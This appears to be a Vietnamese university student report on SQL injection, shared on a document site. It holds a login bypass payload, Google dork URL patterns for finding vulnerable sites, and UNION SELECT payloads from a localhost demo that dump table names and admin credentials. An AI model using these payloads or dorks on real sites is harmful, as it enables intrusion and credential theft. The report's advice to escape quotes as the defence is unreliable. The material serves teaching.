1. Trang chủ
  2. » Công Nghệ Thông Tin

báo cáo tấn công sql injection

14 852 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 14
Dung lượng 1,55 MB

Nội dung

Tìm về tấn công SQL Injection: SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi củ

Trang 1

ĐẠI HỌC QUỐC GIA TP HCM

ĐẠI HỌC CÔNG NGHỆ THÔNG TIN

Tấn Công SQL Injection

GV: Ths Nguyễn Duy

TP HCM 04/05/2015

Trang 2

Nội dung:

I Tìm về tấn công SQL Injection

II Mục đích tấn công

III Cơ chế tấn công

IV Phương thức tấn công

V Cách phòng chống

VII Tổng kết

Trang 3

I Tìm về tấn công SQL Injection:

SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng

của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí

là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase

Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng

Trang 4

II Mục đích tấn công:

• Đánh cắp dữ liệu từ web server

• Thay đổi dữ liệu

• Deface website

• Backdoor

Trang 5

III Cơ chế tấn công:

Cơ chế tấn công SQL injection – SQLI là cách thức tận dụng hoặc khai thác

triệt để những khuyết điểm, thiếu sót về mặt công nghệ được sử dụng để xây

dựng website, và thông thường hacker sẽ kết hợp với những lỗ hổng trong quy

trình bảo mật cơ sở dữ liệu Nếu thành công trong việc xâm nhập này, hacker hoàn toàn có thể mạo danh tài khoản chính thức của người sử dụng, truy cập vào cơ sở dữ liệu và lấy cắp thông tin cá nhân Không giống như cách làm

của DDoS, SQLI hoàn toàn có thể ngăn chặn được nếu người quản trị nhận

thức được tầm quan trọng của việc bảo mật cơ sở dữ liệu

• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào

<form action="" method="post">

Tài khoản: <input type="text" name=“user">

Mật khẩu: <input type="password" name=“pass">

<input type="submit“ value=“Đăng nhập”>

</form>

Trang 6

<?php

$user=$_POST[‘user’];

$pass=$_POST[‘pass’];

$sql=“SELECT * FROM tbl_user WHERE

user=‘$user’ && pass=‘$pass’”;

$query=mysql_query($sql);

$sql=“SELECT * FROM tbl_user WHERE

user=‘0’ or ‘1’=‘1’ ’ && pass=‘123456’”;

• Thông báo lỗi của hệ quản trị CSDL

– Mysql_fetch_array();

– Database query failed…

– You have an error in your SQL systax…

IV Phương thức tấn công

Các dork ( Từ khóa tìm site bị lỗi)

index.php?id=

news.php id=

Trang 7

article.php?id=

games.php?id=

opinions.php?id=

pages.php?id=

prod_detail.php?id=

view.php?id=

…………

• Các bước tấn công sử dụng lệnh union select

• Kiểm tra lỗi sql injection

• Tìm số cột mà câu truy vấn tạo ra

• Tìm cột chứa thông tin có thể khai thác được

• Xem phiên bản của CSDL và ngôn ngữ lập trình

• Xác định tên bảng chứa thông tin người quản trị

• Xác định tài khoản/mật khẩu của quản trị

• Truy cập vào phần giành cho quản trị viên

Trang 8

V Cách phòng chống

như chúng ta đã đề cập tới tại phần trên của bài viết, SQL Injection hoàn toàn có thể ngăn chặn được Và 1 trong những quy tắt

không thể bỏ qua là không nên tin tưởng tuyệt đối vào bất kỳ thông tin nào mà người sử dụng nhập vào (tương tự như tình huống chúng tôi

mô phỏng bên trên)

Và mô hình SQLI có thể dễ dàng bị ngăn chặn bởi 1 bước gọi

là Sanitization – hiểu nôm na là việc chắt lọc thông tin đầu vào – input

từ phía người dùng Rất đơn giản, quy trình này sẽ xử lý bất kỳ ký tự

ngoặc đơn nào xuất hiện trong câu lệnh truy vân SQL

Ví dụ cụ thể, nếu muốn tìm bản ghi “O’neil” trong cơ sở dữ liệu, thì

không thể dùng phương pháp đã mô phỏng bên trên vì dấu ' đằng sau chữ O sẽ khiến cho cú pháp bị ngắt giữa chừng Thay vào đó, chúng ta

có thể tách biệt ký tự đặc biệt này khỏi cơ sở dữ liệu bằng dấu \ Và

như vậy, bản ghi “O’neal” sẽ biến thành “O\’neil”

VI Demo

• Công cụ hỗ trợ

– Add-on hackBar

– Web Admin Finder V2.0

– Google

Mục tiêu tấn công

Trang 9

Tìm số cột mà câu truy vấn SQL tạo ra

Trang 10

Xác định vị trí xảy ra lỗi

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

Xác định phiên bản ngôn ngữ lập trình

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15

Trang 11

Xác định tên các bảng trong CSDL

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

Xác đinh các cột trong bảng tbl_user

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572

Trang 12

Xác định thông tin username, password của Admin

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),

7,8,9,10,11,12,13,14,15 from tbl_user

Trang 13

Password: thietkewebx.net

Tìm đường dẫn trang quản trị

Trang 14

Kết quả demo thành công !

Ngày đăng: 06/06/2015, 01:11

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w